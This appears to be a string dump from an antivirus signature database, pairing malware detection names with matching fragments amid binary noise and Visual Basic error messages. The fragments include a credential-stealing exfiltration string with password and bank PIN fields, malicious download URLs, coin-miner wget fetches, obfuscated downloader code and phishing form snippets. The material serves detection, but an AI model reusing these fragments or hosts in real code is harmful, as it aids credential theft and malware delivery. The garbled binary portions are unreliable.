!#SLF:vCtxtBM_SYMBIAN_FILE_ !!#SLF:vCtxtBM_SYMBIAN_FILE_ !#SLF:vCtxtBM_TORRENT_FILE_ !!#SLF:vCtxtBM_TORRENT_FILE_ !#SLF:vCtxtBM_UNICODE_FILE_ !!#SLF:vCtxtBM_UNICODE_FILE_ !#SLF !!#SLF !Ranky.AL !Ranky.AM !Harnig.X !Agent.N !Agent.P !Agent.AQ Cr\t}UY*x !Harnig.M !Small.NF !Small.LP !Small.OO !Small.NV !Small.OD !Small.OH f\\  g !Agent.AP !Ldpinch.CK !Killav.BR !Revop.A !Startpage.GI !Small.MP g\\!#g !WinShow.V #g\\!$g !Istbar.AU $g\\ 'g !Small.ED \\getpasses.exe (-Messengerpasses.txt d\\Administrator\\Desktop\\Steal0r's\\Messenger Steal0r frm_Main \\passes.txt ia@XB! )g\\ Vg !Small.KN Vg\\ Wg !Small.LY Wg\\\"Yg !Wintrim.AV Yg\\ [g !Harnig.Q [g\\\"\\g !Wintrim.AK \\g\\ ]g !Small.IX !Agent.T ^g\\ _g !Small.NE _g\\!`g !Istbar.FA `g\\#eg !Wintrim.NAA eg\\\"gg !Wintrim.BN gg\\!hg !Istbar.DG hg\\\"jg !Wintrim.BB TMXng jg\\ kg !Small.KM kg\\\"mg !Istbar.NAA mg\\\"ng !Wintrim.BC ng\\ rg !Small.NI rg\\\"sg !WinShow.AC sg\\ tg !Small.GO tg\\ ug !Small.JZ ug\\!vg !Istbar.ET vg\\!wg !Small.NAK wg\\!xg !Wintrim.F xg\\ yg !Small.LQ yg\\ zg !Small.OE zg\\\"{g !Wintrim.BK {g\\#~g !Inservice.G cF7cFK !Inservice.H !Wintrim.AZ !Wintrim.BJ !Ldpinch.DQ !Agent.AB !Agent.A1 #Agent.AP !Agent.AG !Agent.AU !Agent.AN !Ranky.AP @ !Istbar.DV !Istbar.FC h\\ \th !Small.EL -2X,- !Wintrim.BG !Small.QC ]l |k !Small.OR !Small.NL vh\\o< !Small.PJ SIFe1A !Istbar.FJ !Harnig.Y !Harnig.R !Harnig.U !Istbar.EW !Small.QU !Small.HV !Small.PN !Small.LE h\\  h !Small.RN  h\\ !h !Small.QH !h\\ #h !Small.NK #h\\ &h &h\\ 'h !Small.PT 'h\\ (h !Small.OX (h\\ )h !Small.HF ^=CCa )h\\!*h !Istbar.EU *h\\ +h !Small.PP +h\\\"-h !WinShow.AG -h\\ .h !Small.FF .h\\ 1h !Small.QG 1h\\ 2h !Small.QV 2h\\ 4h !Small.OS 4h\\ 6h !Small.QS 6h\\!7h !Istbar.ER 7h\\ 9h !Small.PV 9h\\ <h !Small.MG <h\\ =h !Small.QK =h\\ >h >h\\ ?h !Small.PO ?h\\!Ch !Wintrim.P Ch\\!Gh !WinShow.Z Gh\\ Jh osAim Jh\\ Lh !Small.IP Lh\\ Nh Nh\\ Qh !Small.ID Qh\\ Th !Small.QI Th\\ Uh !Agent.BI Uh\\ Yh !Small.PB Yh\\ Zh !Small.QT Zh\\ [h !Small.OK [h\\ \\h \\h\\ ^h !Small.PI ^h\\ `h !Agent.AJ (070O0 `h\\ ah ah\\ bh bh\\ ch ch\\ dh !Small.QZ dh\\ fh !Small.ON !Small.RR h\\ +i !Agent.AT V770Yo +i\\ Di Di\\!Fi !Harnig.Y1 Fi\\\"Hi !Wintrim.BF Hi\\\"Ii !Wintrim.BU Ii\\ Ji Ji\\ Li Li\\ Mi Mi\\ Oi !Agent.CD 4o*4`%r Oi\\ Pi !Agent.CE Pi\\\"Qi !Wintrim.AX Qi\\ Si !Agent.CO Si\\ Vi !Small.FT Vi\\\"Wi !Wintrim.BW Wi\\ Xi !Small.UG Xi\\ Yi Yi\\ ]i !Small.UL ]i\\ ^i ^i\\ `i !Small.HO `i\\ di !Small.TA di\\\"fi !WinShow.AK fi\\ hi !Small.SE hi\\ ii !Agent.BJ !Startpage.MF EN&B[ !Startpage.NF !Agent WINDOWS\\system32\\scvhost.exe virtual-net.pisem.su/Nick.gif  InternetCloseHandlea f:\\source\\cg\\cgall\\wmgj\\wmgjexe Mcmd=1&usrname=%s&usrpass=%s&servername=%s&bankpass=%s&nickname=%s&rankinfo=%d ACTION_OFFLINE_CLIENT 5ReadProcessMemory with PINCODE-value fault, code = %d szAccount = %s szAccount = %saw Bonus 1.exe Jhttp://wmr-moneys.org/config/line.gif Phttp://countexchange.com/config/line.gif &?a=wmk:payto?Purse= &Amount= &Desc= \\Bonus 1.5.vbp \\SOFT2 .*\\AG:\\Vladimir\\Desktop\\ WebMoney WebMoneyg  07gSg 8wdd9 &j0tU@ Yd F>  Yd Fg !#SLF:AGGR:CopyRenamed!taskhostw.exe !#AGG:AllowList:Win32/onlinebrief24.A !#ALF:HackTool:PowerShell/RayaByPs.C!MTB !#ALF:TrojanDownloader:O97M/EncDoc.REEA!MTB !#TEL:Trojan:HTA/WildChild.S!ibt !#AGG:AllowList:Win32/AdaptiveBee.A !#SLF:AGGR:CopyRenamed!diskshadow.exe !#ALF:Trojan:Win32/Cassini_f2776388!ibt !SALF:TrojanDownloader:O97M/SuspXlsDoc.L !#SLF:PowerShell/DiscoveryGetNetworkInfo.A !#TEL:TrojanDownloader:O97M/EncDoc.SNK!MTB !#TEL:TrojanDownloader:O97M/EncDoc.ZIP!MTB !#ALF:HackTool:PowerShell/PowerViewDev.A!MTB !#SLF:HackTool:PowerShell/KerberosUtils.A!MTB !#SLF:AGGR:GamObfus4 !#ALF:CaptureScreenShot.sm !#AGGR:TopLevelFileExt!docx !#ALF:Trojan:BAT/NetWalker!MSR !#TEL:Trojan:Win32/Linkommer.D !#ALF:Trojan:HTML/Phish.SBLN!MTB !#BM_CopyRenamedIName_syncappvpublishingserver.exe !#BM_CopyRenamedOName_syncappvpublishingserver.exe !#AGGR:MicrosoftIframe:ST00 !#ALF:Phish:HTML/OneDrive.AD!MTB !#AGG:AllowList:Win32/Spinnaker.A !#ALF:SusEncrOLEFileInDownloadCMD !#TEL:Backdoor:MSIL/Bladabindi.RB!MTB !#ALF:Trojan:Win32/Cassini_4b7824be!ibt !#ALF:CaptureScreenShot.ht !#AGG:AllowList:AdminTools.A !#AGG:AllowList:JS/RealPage.A !#ALF:Exploit:O97M/CVE-2017-11882.YE!MTB !#SLF:PowerShell/DiscoveryGetComputerName.A !#SLFPER:Trojan:PowerShell/PSExploitShellCode.A !#TEL:AGGR:ZipSlipApk !#TEL:AGGR:ZipSlipTar !#TEL:AGGR:ZipSlipWar !#ALF:AGGR:Phish:HTML/Mitargcro.S200 !#ALF:TrojanDownloader:BAT/Jackal!dha !#ALF:VirTool:Powershell/Deccan.B!MTB !#AGG:AllowList:Win32/AcroSoft.AcroEdit.A !#SLF:HackTool:PowerShell/KillChainUtils.A!MTB !#ALF:TrojanDownloader:O97M/CVE-2017-11882.AVP!MTB !#ALF:CaptureScreenBit.sm !#TEL:TrojanDownloader:Java/Jorva.A !#ALFPER:TrojanDownloader:JS/Nemucod !#Lua:Macro:O97M/Macroiwshellex.B!amsi !#ALF:HackTool:PowerShell/WMIExecObfus.A!MTB !#SLF:AGGR:CopyRenamed!syncappvpublishingserver.exe !#TEL:AGGR:ZipSlipCpio !#BM_MSIL_SERVICEINSTALLER !#ALF:PWS:HTML/Phish.SMKV!MTB !#ALF:Trojan:HTML/Phish.PTB!MTB !#AGG:AllowList:Win32/AppViewer.A !#SLF:HackTool:PowerShell/MightyCore.B!MTB !#SLF:HackTool:PowerShell/Internaloff.K1!MTB !#SLF:HackTool:PowerShell/Internaloff.M1!MTB !#SLF:HackTool:PowerShell/Internaloff.N1!MTB !#ALF:CaptureScreenBit.ht !#AGG:AllowList:Win32/JMJ.A !#AGG:JS/Obfuscator.Spltra.D !#AGG:AllowList:Win32/SlimWare.A ource. Can't empty Clipboard Can't open Clipboard0The data binding DLL, '|1', could not be loaded. Data Access Error The given bookmark was invalid Can't create AutoRedraw image Invalid picture Printer error2Printer driver does not support specified property_Problem getting printer information from the system. Make sure the printer is set up correctly. Invalid picture type.Can't print form image to this type of printer Can't print minimized form image8Top-level or invalid menu specified as PopupMenu default Could not lock the database#Could not access the desired Column Could not lock the database5The row has been deleted since the update was started+Unable to bind to field or DataMember: '|1'_Cannot bind this control to '|1'. Select a different datasource control (eg - Data1, or MSRDC1)eCannot bind this control to '|1'. Select a different datasource (eg - ADODC1, or DataEnvironment1...)XDataObject formats list may not be cleared or expanded outside of the OLEStartDrag event Expected at least one argument.6Recursive invocation of OLE drag and drop not allowed. Non-intrinsic OLE drag and drop formats used with SetData require Byte array data.  GetData may return more bytes than were given to SetData.NRequested data was not supplied to the DataObject during the OLESetData event. Failure in AsyncReadRPropertyName parameter conflicts with the PropertyName of an AsyncRead in progress/Can't find or load the required file urlmon.dll Unable to complete navigation?Can't get Picture from AsyncRead until the download is complete5An unknown protocol was specified in Target parameter_Unable to find target specified in Target parameter of the AsyncRead that started this downloadkUnable to find or download target specified in Target parameter of the AsyncRead that started this downloadGClass of object cannot be determined. Looking for object with CLSID: |18Invalid class string. Looking for object with ProgID: |1;Object is not registered. Looking for object with CLSID: |1 Class not registered.  |1;Interface not registered. Looking for object with CLSID: |18Application not found. Looking for object with CLSID: |1:DLL for class not found. Looking for object with CLSID: |13Error in the DLL. Looking for object with CLSID: |1IWrong OS or OS version for application. Looking for object with CLSID: |1bApplication was launched but it didn't register a class factory. Looking for object with CLSID: |1 '|1' is not a valid control type%'|1' is not a valid control container[Can't have child controls capable of receiving focus on a control that cannot receive focusjThe OLE client control and OLE embeddings are not allowed on UserControls, UserDocuments, or PropertyPages;Can't have windowed child controls on a windowless control. |1 is a single-threaded component and cannot be used in multi-threaded projects.  Change the threading model for |2 or contact the component vendor for an updated version.^Control '|1' does not have the align property, so it cannot be placed directly on the MDI form-There is already a control with the name '|1'DControl container for Controls.Add cannot be a design time instance.ECannot add control while Control container is loading other controls.* Information necessary for the EventInfo object was not included with the control raising the event.  Private UserControls require extra data to be included during compilation to support the ObjectEvent.  To correct this uncheck 'Remove information about unused ActiveX Controls' in Project Options. No design-time license information found for control '|1'.  Contact the vendor for control '|1' to obtain a design-time license. Out of memory Can't open Clipboard\tNo object Unable to close object Can't paste Invalid property value Can't copy Invalid format Class is not set Source Document is not set Invalid Action Invalid or unknown Class Unable to create link Source name is too long Unable to activate object Object not running Dialog already in use Invalid source for link Unable to create embedded object Unable to fetch Link source name Invalid Verb index Incorrect Clipboard format Error saving to file Error loading from file Unable to access source document?You cannot set DisplayType while the control contains an object\\Cannot create embedded object. 'OleTypeAllowed' property of '|1' control is set to 'Linked'. Cannot quit. Save File As.Unexpected critical error: can't start program Out of Memory\\0 - User 1 - Twip 2 - Point 3 - Pixel 4 - Character 5 - Inch 6 - Millimeter 7 - Centimeter (None) Ctrl+A Ctrl+B Ctrl+C Ctrl+D Ctrl+E Ctrl+F Ctrl+G Ctrl+H Ctrl+I Ctrl+J Ctrl+K Ctrl+L Ctrl+M Ctrl+N Ctrl+O Ctrl+P Ctrl+Q Ctrl+R Ctrl+S Ctrl+T Ctrl+U Ctrl+V Ctrl+W Ctrl+X Ctrl+Y Ctrl+Z Ctrl+F1 Ctrl+F2 Ctrl+F3 Ctrl+F4 Ctrl+F5 Ctrl+F6 Ctrl+F7 Ctrl+F8 Ctrl+F9 Ctrl+F11 Ctrl+F12 Shift+F1 Shift+F2 Shift+F3 Shift+F4 Shift+F5 Shift+F6 Shift+F7 Shift+F8 Shift+F9 Shift+F11 Shift+F12 Shift+Ctrl+F1 ^^dShift+Ctrl+F2 Shift+Ctrl+F3 Shift+Ctrl+F4 Shift+Ctrl+F5 Shift+Ctrl+F6 Shift+Ctrl+F7 Shift+Ctrl+F8 ^^VShift+Ctrl+F9 Shift+Ctrl+F11 Shift+Ctrl+F12 Ctrl+Ins Shift+Ins Shift+Del Alt+Bksp All Files (*.*) Access Access 2000; dBASE III; dBASE IV; dBASE 5.0; Excel 3.0; Excel 4.0; Excel 5.0; Excel 8.0; FoxPro 2.0; FoxPro 2.5; FoxPro 2.6; FoxPro 3.0; Lotus WK1; Lotus WK3; Lotus WK4; Paradox 3.x; Paradox 4.x; Paradox 5.x; Text; Looking for object with CLSID: P&roperties Not Available E&dit &Help<You need the following file to be installed on your machine. TypeInfo mismatch within.Please verify the file is the correct version. Return without GoSub\"Invalid procedure call or argument Overflow Subscript out of range)This array is fixed or temporarily locked Division by zero Type mismatch Out of string space Expression too complex!Can't perform requested operation User interrupt occurred Resume without error Out of stack space Sub or Function not defined Too many DLL application clients Error in loading DLL Bad DLL calling convention Internal error Bad file name or number File not found Bad file mode File already open Device I/O error File already exists Bad record length\tDisk full Input past end of file Bad record number Too many files Device unavailable Permission denied Disk not ready!Can't rename with different drive Path/File access error Path not found.Object variable or With block variable not set For loop not initialized Invalid pattern string Invalid use of Null+Application-defined or object-defined error Unable to sink events of object because the object is already firing events to the maximum number of event receivers that it supportsQCan not call friend function on object which is not an instance of defining classtA property or method call cannot include a reference to a private object, either as an argument or as a return value Invalid file format%Can't create necessary temporary file Invalid format in resource file Invalid property array index Set not supported at runtime&Set not supported (read-only property) Need property array index Set not permitted Get not supported at runtime'Get not supported (write-only property) Property not found Property or method not found Object required%ActiveX component can't create objectHClass does not support Automation or does not support expected interface=File name or class name not found during Automation operation.Object doesn't support this property or method Automation errorwConnection to type library or object library for remote process has been lost. Press OK for dialog to remove reference./Automation object does not have a default value\"Object doesn't support this action&Object doesn't support named arguments-Object doesn't support current locale setting Named argument not found Argument not optional8Wrong number of arguments or invalid pr z7&pM; rfLu9 IO+HG C[Gq) &9/E 4uhPo$ `;h=G j\tLIX #oDHN B R<Mks eDSk\t hRa\t{U  cj+0 ud\\V`) }1pgy5\t bLc&e y<5&Jz +[DRO2 7k$?<p l>$PC8= :he1uY Q<FT?,, GD4Gs  %-61cy7xz ]]hDD XP!KU3nM e23ox9aC JZ)&| 0% Vm^ $4#f}8(% Q668{ Uy2!Y LdXn= mW]6c b6v9hO ++9}?r ]r\\/QD b<1\t. 0mUO, \t@Y*, PSdV4 GV *q |qmi7 &sbq^ 6\tEN* HQB `fi Ocj~a TKz l =^O>Y \"9 f\"Z {0B7Z 6azU] +EBU` IQ vu]>P3% X/04A =m4)| t$9Skp \\;9E5 0lBnE 0;:HMa, gfi2_ )@\t~~z j%C*! 5\\\\J{.;Q (oGf ]E root\\default:system_anti_virus_core %root\\default:system_anti_virus_core !#Trojan:Win32/Nanocore.FA3!MTB \"),binarytostring(\"0x %\"),binarytostring(\"0x 02e626174\"))  !#BRUTE:SCHTSK:Expert:Feature:10 )O !#BRUTE:SCHTSK:Expert:Feature:10 <multipleinstancespolicy>ignorenew $<multipleinstancespolicy>ignorenew  !#BRUTE:SCHTSK:Expert:Feature:45 )O !#BRUTE:SCHTSK:Expert:Feature:45  !#SCPT:Trojan:HTML/Phish.ST2!MTB )O !#SCPT:Trojan:HTML/Phish.ST2!MTB =\"submit\"value=\"continuetodownload $=\"submit\"value=\"continuetodownload  !#SCPT:Trojan:JS/Obfuse.Pra3!MTB )O !#SCPT:Trojan:JS/Obfuse.Pra3!MTB $.type=1;  !#SCPT:Trojan:JS/Obfuse.RVB1!MTB )O !#SCPT:Trojan:JS/Obfuse.RVB1!MTB $.replace(newregexp(\" \",\"g\"),\"a\")  !#SCPT:Trojan:Python/Queri.C.EC2 )O !#SCPT:Trojan:Python/Queri.C.EC2 configpath=url+'/config.json?'+cid $configpath=url+'/config.json?'+cid  !#SCPT:TrojanProxy:JS/Banker.AP1 )O !#SCPT:TrojanProxy:JS/Banker.AP1 \"pr\",\"oxy\",\"ww\",\"c\",\"o\",\"m\",\"b\",\"r $\"pr\",\"oxy\",\"ww\",\"c\",\"o\",\"m\",\"b\",\"r  !#SCRIPT:PowerShell/Poisonweb.B2 )O !#SCRIPT:PowerShell/Poisonweb.B2 =icacls\" $=icacls\"  \"|findstr/v\"processing\"  !#SCRIPT:Ransom:HTML/Tescrypt.D1 )O !#SCRIPT:Ransom:HTML/Tescrypt.D1 thenwesuggestyou<!- $thenwesuggestyou<!-  ->donotwaste )O !#SCRIPT:Trojan:BAT/Qhost.AF_etc =%belayagoryachka%%df2%c%som%omset $=%belayagoryachka%%df2%c%som%omset =%clenchchettraha%%df2%c%som%omset $=%clenchchettraha%%df2%c%som%omset =\\s%olololoshenka_2222222222%ysset $=\\s%olololoshenka_2222222222%ysset =tem%ne_dolgo_tak_ebalis%32\\driset $=tem%ne_dolgo_tak_ebalis%32\\driset  !#Script:Phish:PHP/PassPlace!MTB )O !#Script:Phish:PHP/PassPlace!MTB <inputtype=\"password\"placeholder=\" $<inputtype=\"password\"placeholder=\"  !#Trojan:HTML/Redirector.C!atb01 )O !#Trojan:HTML/Redirector.C!atb01 imgsrc=\"https://2no.co/1spk97.gif\" $imgsrc=\"https://2no.co/1spk97.gif\" !!#Exploit:O97M/DDEDownloader2!MTB )O!!#Exploit:O97M/DDEDownloader2!MTB http://screw-malwrhunterteam.com/ #http://screw-malwrhunterteam.com/ !!#SCPT:HackTool:VBA/CreateShell.A )O!!#SCPT:HackTool:VBA/CreateShell.A createobject(\"shell.application\") #createobject(\"shell.application\") !!#SCPT:Trojan:HTML/Phish.SMA1!MTB )O!!#SCPT:Trojan:HTML/Phish.SMA1!MTB <script>varplod=atob(\"ahr0chm6ly9 #<script>varplod=atob(\"ahr0chm6ly9 !!#SCPT:Trojan:HTML/Redirector.CS1 )O!!#SCPT:Trojan:HTML/Redirector.CS1 scriptsrc=\"http://nt010.cn/e/j.js #scriptsrc=\"http://nt010.cn/e/j.js !!#SCPT:Trojan:JS/Magecart.YA2!MTB )O!!#SCPT:Trojan:JS/Magecart.YA2!MTB #return$ .gate+\"?hash=\"+encoded; !!#SCPT:Trojan:JS/Obfuse.RVBB5!MTB )O!!#SCPT:Trojan:JS/Obfuse.RVBB5!MTB bname=bname+\"vb\";bname=bname+\"s\"; #bname=bname+\"vb\";bname=bname+\"s\"; !!#SCPT:Trojan:Linux/CoinMiner.JJ4 )O!!#SCPT:Trojan:Linux/CoinMiner.JJ4 wget-qhttp:// #wget-qhttp:// /$myfile-o$mydir/ !!#SCRIPT:PowerShell/Macroburst.O4 )O!!#SCRIPT:PowerShell/Macroburst.O4 https://\"+ #https://\"+  +\"?restype=container !!#SCRIPT:Win32/AutoitTrayIconHide )O!!#SCRIPT:Win32/AutoitTrayIconHide autoitsetoption(\"trayiconhide\",1) #autoitsetoption(\"trayiconhide\",1) )O\"!#ALF:HackTool:Script/Nosogo.A!dha read_armed_file:readthegivenfile \"read_armed_file:readthegivenfile \"!#ALF:SCPT:TrojanDropper:JS/Donoff )O\"!#ALF:SCPT:TrojanDropper:JS/Donoff ({cname:\" \"({cname:\" .docm\",nlaunch: \"!#ASRWmiEventSubscriptionExclusion )O\"!#ASRWmiEventSubscriptionExclusion hpusb-c&auniversaldockg2consumer \"hpusb-c&auniversaldockg2consumer \"!#Lowfi:TrojanDownloader:Nemucod.H )O\"!#Lowfi:TrojanDownloader:Nemucod.H \".run( ,0,0)};}catch(er){};}dl( \"!#SCPT:BrowserModifier:Win32/Eazel )O\"!#SCPT:BrowserModifier:Win32/Eazel iexplore.exehttp://en.eazel.com/ \"iexplore.exehttp://en.eazel.com/ \"!#SCPT:CVE-2021-27065.B.ConfigStrB )O\"!#SCPT:CVE-2021-27065.B.ConfigStrB extendedprotectiontokenchecking: \"extendedprotectiontokenchecking: \"!#SCPT:Exploit:Win32/ShellCode.Y.1 )O\"!#SCPT:Exploit:Win32/ShellCode.Y.1 \"49803408 0-9a-f85c975f7ffe0e8 )O\"!#SCPT:JS/Obfuscator.Split.MSXML.A \"m\"+\" x\"+\"m \"x\"+\"m \"!#SCPT:Linux/Coinminer.downloadyam )O\"!#SCPT:Linux/Coinminer.downloadyam while[1]do \"while[1]do 0downloadyam 0sleep \"!#SCPT:SchedulerInvokeMacro.E!amsi )O\"!#SCPT:SchedulerInvokeMacro.E!amsi itaskdefinition.registrationinfo \"itaskdefinition.registrationinfo \"!#SCPT:Trojan:Win32/Powbit.YC2!MTB )O\"!#SCPT:Trojan:Win32/Powbit.YC2!MTB start-process-windowstylehidden$ \"start-process-windowstylehidden$ \"!#SCPT:TrojanDropper:JS/Binzie.A!B )O\"!#SCPT:TrojanDropper:JS/Binzie.A!B ;eval(function(){for(var_0x \";eval(function(){for(var_0x \"!#SCRIPT:PowerShell/Internaloff.B3 )O\"!#SCRIPT:PowerShell/Internaloff.B3 =[console]::treatcontrolcasinput \"=[console]::treatcontrolcasinput \"!#SCRIPT:PowerShell/Internaloff.P2 )O\"!#SCRIPT:PowerShell/Internaloff.P2 =(new-guid).tostring().toupper() \"=(new-guid).tostring().toupper() \"!#SCRIPT:Trojan:JS/BlacoleRef.CW.1 )O\"!#SCRIPT:Trojan:JS/BlacoleRef.CW.1 (p(a[\"su \"(p(a[\"su \"](i,2),27)+ ]((p(s.substr(i,2),26)+ \"]((p(s.substr(i,2),26)+ \"!#Script:Trojan:JS/Kryptik.AD!MTB2 )O\"!#Script:Trojan:JS/Kryptik.AD!MTB2 for(vari=24;i< \"for(vari=24;i< .length-2;i+=2) #!#ALF:SoftwareBundler:Xiazai:Config )O#!#ALF:SoftwareBundler:Xiazai:Config iesp=http://hao.360.cn/?src=lm& !iesp=http://hao.360.cn/?src=lm& #!#BRUTE:Exploit:VBS/CVE-2014-6332-2 )O#!#BRUTE:Exploit:VBS/CVE-2014-6332-2 =1.69759663316747e-313 !=1.69759663316747e-313 =lenb( #!#SCPT:CodeOnly.UseMojoJsBindings.A )O#!#SCPT:CodeOnly.UseMojoJsBindings.A mojo.bindinterface(blink.mojom. !mojo.bindinterface(blink.mojom. #!#SCPT:Program:JS/InjectorPlugin.3b )O#!#SCPT:Program:JS/InjectorPlugin.3b (document.body||document.head). !(document.body||document.head). #!#SCPT:Script/FileTypeMacro.A!Rttr8 )O#!#SCPT:Script/FileTypeMacro.A!Rttr8 socialhistory.docx.manifest.xml !socialhistory.docx.manifest.xml #!#SCPT:TrojanDownloader:JS/Tnega.M4 )O#!#SCPT:TrojanDownloader:JS/Tnega.M4 .dq.getexecutor().exec( !.dq.getexecutor().exec( #!#SCPT:VBS/Obfuscator.Split.Adodb.A )O#!#SCPT:VBS/Obfuscator.Split.Adodb.A createobject(\"adodb.s\"+\"tream\") !createobject(\"adodb.s\"+\"tream\") createobject(\"adodb.st\"+\"ream\") !createobject(\"adodb.st\"+\"ream\") #!#SCPT:XML/FriendlyAssemblyIdentity )O#!#SCPT:XML/FriendlyAssemblyIdentity assemblyidentityname=\"microsoft !assemblyidentityname=\"microsoft #!#SCRIPT:Exploit:JS/CVE-2013-2551-2 )O#!#SCRIPT:Exploit:JS/CVE-2013-2551-2 v\\:*{behavior:url(#default#vml) !v\\:*{behavior:url(#default#vml) #!#SCRIPT:Exploit:Win32/Pdfjsc.AGS.1 )O#!#SCRIPT:Exploit:Win32/Pdfjsc.AGS.1 +\"#\"+\"\"+\":\"+\"\"+ !+\"#\"+\"\"+\":\"+\"\"+ 0getfield(\" #!#TrojanDownloader:O97M/Slinjek.MR2 )O#!#TrojanDownloader:O97M/Slinjek.MR2 set/p=\"\"iexec/ihttp^:^/^/^linux !set/p=\"\"iexec/ihttp^:^/^/^linux )O#!#TrojanDownloader:Win32/Lnkget.gen !echo $!#SCPT:AutoItMacro_ProgramsCommonDir )O$!#SCPT:AutoItMacro_ProgramsCommonDir @programscommondir  @programscommondir $!#SCPT:AutoItMacro_SW_SHOWNOACTIVATE )O$!#SCPT:AutoItMacro_SW_SHOWNOACTIVATE @sw_shownoactivate  @sw_shownoactivate $!#SCPT:Backdoor:PHP/Webshell.T!al013 )O$!#SCPT:Backdoor:PHP/Webshell.T!al013 $word.selection.insertformula(  $word.selection.insertformula( $!#SCPT:Obfuscator.LongVarNameInFor.A )O$!#SCPT:Obfuscator.LongVarNameInFor.A  for(var a-z0-9=0; $!#SCPT:SchTaskAdministratorAccntPriv )O$!#SCPT:SchTaskAdministratorAccntPriv <userid>s-1-5-  <userid>s-1-5- 0-500</userid> $!#SCPT:Trojan:JS/WmiCreateWmic.B!ams )O$!#SCPT:Trojan:JS/WmiCreateWmic.B!ams setpropvalue.commandline(\"wmic  setpropvalue.commandline(\"wmic $!#SCPT:Trojan:O97M/CVE-2017-8570.JR3 )O$!#SCPT:Trojan:O97M/CVE-2017-8570.JR3 execute(\"  execute(\" \"\"/bject(\"\"-sxml2d $!#SCRIPT:JS/PowershellBinaryString.C )O$!#SCRIPT:JS/PowershellBinaryString.C 73746172742d70726f636573732024  73746172742d70726f636573732024 $!#SCRIPT:TrojanDownloader:JS/Adodb.1 )O$!#SCRIPT:TrojanDownloader:JS/Adodb.1 \"msxml2.xmlhttp  \"msxml2.xmlhttp `adodb.stream $!#SCRIPT:TrojanDownloader:JS/Rusem.1 )O$!#SCRIPT:TrojanDownloader:JS/Rusem.1 /russmebelspb.com/index_files/  /russmebelspb.com/index_files/ $!#Script:Trojan:JS/SpelevoEK.AD!MTB9 )O$!#Script:Trojan:JS/SpelevoEK.AD!MTB9 if((true)&&(checkversionflash(  if((true)&&(checkversionflash( $!#TEL:Backdoor:PHP/WebShell.FileAttr )O$!#TEL:Backdoor:PHP/WebShell.FileAttr $perms.=($mode&00400)?'r':'-';  $perms.=($mode&00400)?'r':'-'; %!#Exploit:O97M/CVE-2017-11882.AQ!ats1 )O%!#Exploit:O97M/CVE-2017-11882.AQ!ats1 aeppedaetae%\\emsebueiled.eexe %!#SCPT:CodeOnly.FindMsvcrtWithJscript )O%!#SCPT:CodeOnly.FindMsvcrtWithJscript (jscript %!#SCPT:Exploit:O97M/CVE-2017-0199.RX1 )O%!#SCPT:Exploit:O97M/CVE-2017-0199.RX1 http://a.pomf.cat/zjiqnx.html %!#SCPT:Exploit:O97M/CVE-2017-8570.HZ3 )O%!#SCPT:Exploit:O97M/CVE-2017-8570.HZ3 execute(\"base\"\"64encodetext\") %!#SCPT:Phish:PHP/Loc_Href_Pwd_html.GG )O%!#SCPT:Phish:PHP/Loc_Href_Pwd_html.GG location.href= password.htm %!#SCPT:Phish:PHP/PhishKitBlock.B3!MTB )O%!#SCPT:Phish:PHP/PhishKitBlock.B3!MTB rewritecond%{http_user_agent} %!#SCPT:Trojan:Linux/CoinMiner.AO2!MTB )O%!#SCPT:Trojan:Linux/CoinMiner.AO2!MTB //py2web.store/ /newinit.sh %!#SCPT:Trojan:PowerShell/Keystrokes.F )O%!#SCPT:Trojan:PowerShell/Keystrokes.F powershell.addscript($script) %!#SCPT:TrojanClicker:JS/Faceliker.AM1 )O%!#SCPT:TrojanClicker:JS/Faceliker.AM1 http://muahangvn.blogspot.com %!#SCRIPT:Exploit:JS/Phisims.B!lowfi-4 )O%!#SCRIPT:Exploit:JS/Phisims.B!lowfi-4 /themes/resources/lgnbotl.gif %!#SCRIPT:Java/CVE-2012-0507!ObfusStr2 )O%!#SCRIPT:Java/CVE-2012-0507!ObfusStr2 [zkmunpack] 616e672e4f626a %!#TrojanDownloader:AutoIt/Povertel.G4 )O%!#TrojanDownloader:AutoIt/Povertel.G4 #onautoitstartregister\"\" %!#TrojanDownloader:BAT/Pterodo.F!Pra2 )O%!#TrojanDownloader:BAT/Pterodo.F!Pra2 http://device-update.ddns.net &!#Exploit:O97M/CVE-2017-11882.AB!atob2 )O&!#Exploit:O97M/CVE-2017-11882.AB!atob2 47657450726f6341646472657373 &!#SCPT:Ransom:PowerShell/MalScript!sy2 )O&!#SCPT:Ransom:PowerShell/MalScript!sy2 remove-item  -force-recurse &!#SCPT:Trojan:PowerShell/Browserdata.C )O&!#SCPT:Trojan:PowerShell/Browserdata.C ($browser-contains'firefox') &!#SCPT:TrojanDownloader:BAT/Selmito.A1 )O&!#SCPT:TrojanDownloader:BAT/Selmito.A1 %strfileurl=\"http P.zip\">>% &!#SCPT:TrojanDownloader:JS/Banload.Z01 )O&!#SCPT:TrojanDownloader:JS/Banload.Z01 compilervar= +\"\\\\7za.\"+ &!#SCPT:TrojanDownloader:JS/Nemucod.HY2 )O&!#SCPT:TrojanDownloader:JS/Nemucod.HY2 maze.shuffle=function(array) &!#SCPT:TrojanDownloader:JS/Nemucod.JV5 )O&!#SCPT:TrojanDownloader:JS/Nemucod.JV5 92e73706c69636528206161752c2 &!#SCPT:TrojanDownloader:JS/Nemucod.JV9 )O&!#SCPT:TrojanDownloader:JS/Nemucod.JV9 4c2e70687022205d3b0a0a66756e &!#SCPT:TrojanDownloader:JS/Nemucod.SH2 )O&!#SCPT:TrojanDownloader:JS/Nemucod.SH2 .split(regexp(  )).join(\"\") &!#SCPT:TrojanDownloader:JS/Nemucod.SJ1 )O&!#SCPT:TrojanDownloader:JS/Nemucod.SJ1 \\x2e\\x7a\\x69\\x70\",\"\\x5c\",\"\\x &!#SCPT:TrojanDownloader:JS/Nemucod:Z03 )O&!#SCPT:TrojanDownloader:JS/Nemucod:Z03 (){returnundefined;}function &!#SCPT:TrojanDownloader:VBS/Obfuse.TR1 )O&!#SCPT:TrojanDownloader:VBS/Obfuse.TR1 \"):loop &!#SCRIPT:PowerShell/Compress-Archive.B )O&!#SCRIPT:PowerShell/Compress-Archive.B compress-archive-literalpath &!#SCRIPT:PowerShell/WindowsCredentials )O&!#SCRIPT:PowerShell/WindowsCredentials windows.security.credentials &!#TrojanDownloader:JS/Donvibs.EE!atb03 )O&!#TrojanDownloader:JS/Donvibs.EE!atb03 ('0x0', &!#TrojanDownloader:Linux/Coinminer.AA3 )O&!#TrojanDownloader:Linux/Coinminer.AA3 thenecho\"detectedryzen\"wrmsr &!#TrojanDownloader:O97M/Obfuse.SK8!MTB )O&!#TrojanDownloader:O97M/Obfuse.SK8!MTB if(fso.fileexists(path))then 